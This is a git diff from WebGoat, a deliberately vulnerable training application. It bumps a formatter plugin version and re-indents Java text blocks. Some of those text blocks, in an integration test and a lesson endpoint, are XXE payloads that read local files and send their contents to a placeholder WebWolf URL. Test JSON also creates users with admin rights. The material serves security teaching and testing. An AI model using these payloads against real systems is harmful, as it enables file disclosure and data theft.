diff --git a/pom.xml b/pom.xml
index d0c6c526c..e46be64ff 100644
--- a/pom.xml
+++ b/pom.xml
@@ -548,7 +548,7 @@
       <plugin>
         <groupId>com.diffplug.spotless</groupId>
         <artifactId>spotless-maven-plugin</artifactId>
-        <version>2.41.1</version>
+        <version>2.44.2</version>
         <configuration>
           <formats>
             <format>
diff --git a/src/it/java/org/owasp/webgoat/integration/AccessControlIntegrationTest.java b/src/it/java/org/owasp/webgoat/integration/AccessControlIntegrationTest.java
index 788103a80..cf376ff8a 100644
--- a/src/it/java/org/owasp/webgoat/integration/AccessControlIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/integration/AccessControlIntegrationTest.java
@@ -32,8 +32,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
     // create user
     var userTemplate =
         """
-                {"username":"%s","password":"%s","admin": "true"}
-                """;
+        {"username":"%s","password":"%s","admin": "true"}
+        """;
     RestAssured.given()
         .when()
         .relaxedHTTPSValidation()
diff --git a/src/it/java/org/owasp/webgoat/integration/XXEIntegrationTest.java b/src/it/java/org/owasp/webgoat/integration/XXEIntegrationTest.java
index 938698276..4787d6d3a 100644
--- a/src/it/java/org/owasp/webgoat/integration/XXEIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/integration/XXEIntegrationTest.java
@@ -9,20 +9,20 @@ public class XXEIntegrationTest extends IntegrationTest {
 
   private static final String xxe3 =
       """
-      <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-      """;
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+""";
   private static final String xxe4 =
       """
-     <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-     """;
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+""";
   private static final String dtd7 =
       """
-      <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
-      """;
+<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
+""";
   private static final String xxe7 =
       """
-      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
-      """;
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
+""";
 
   private String webGoatHomeDirectory;
 
diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java
index 3fe8af534..7f85e18ed 100644
--- a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java
+++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java
@@ -72,17 +72,17 @@ public class ResetLinkAssignment implements AssignmentEndpoint {
 
   static final String TEMPLATE =
       """
-          Hi, you requested a password reset link, please use this <a target='_blank'
-           href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
-           password.
+      Hi, you requested a password reset link, please use this <a target='_blank'
+       href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
+       password.
 
-          If you did not request this password change you can ignore this message.
-          If you have any comments or questions, please do not hesitate to reach us at
-           support@webgoat-cloud.org
+      If you did not request this password change you can ignore this message.
+      If you have any comments or questions, please do not hesitate to reach us at
+       support@webgoat-cloud.org
 
-          Kind regards,
-          Team WebGoat
-          """;
+      Kind regards,
+      Team WebGoat
+      """;
 
   @PostMapping("/PasswordReset/reset/login")
   @ResponseBody
diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java
index 2547cbcd4..5c28d69ee 100644
--- a/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java
+++ b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java
@@ -99,10 +99,10 @@ public class SimpleXXE implements AssignmentEndpoint {
   @ResponseBody
   public String getSampleDTDFile() {
     return """
-                <?xml version="1.0" encoding="UTF-8"?>
-                <!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt">
-                <!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>">
-                %all;
-                """;
+<?xml version="1.0" encoding="UTF-8"?>
+<!ENTITY % file SYSTEM "file:replace-this-by-webgoat-temp-directory/XXE/secret.txt">
+<!ENTITY % all "<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>">
+%all;
+""";
   }
 }
diff --git a/src/test/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsersTest.java b/src/test/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsersTest.java
index a518940c1..a5af31297 100644
--- a/src/test/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsersTest.java
+++ b/src/test/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsersTest.java
@@ -58,8 +58,8 @@ class MissingFunctionACUsersTest extends LessonTest {
   void addUser() throws Exception {
     var user =
         """
-                {"username":"newUser","password":"newUser12","admin": "true"}
-                """;
+        {"username":"newUser","password":"newUser12","admin": "true"}
+        """;
     mockMvc
         .perform(
             MockMvcRequestBuilders.post("/access-control/users")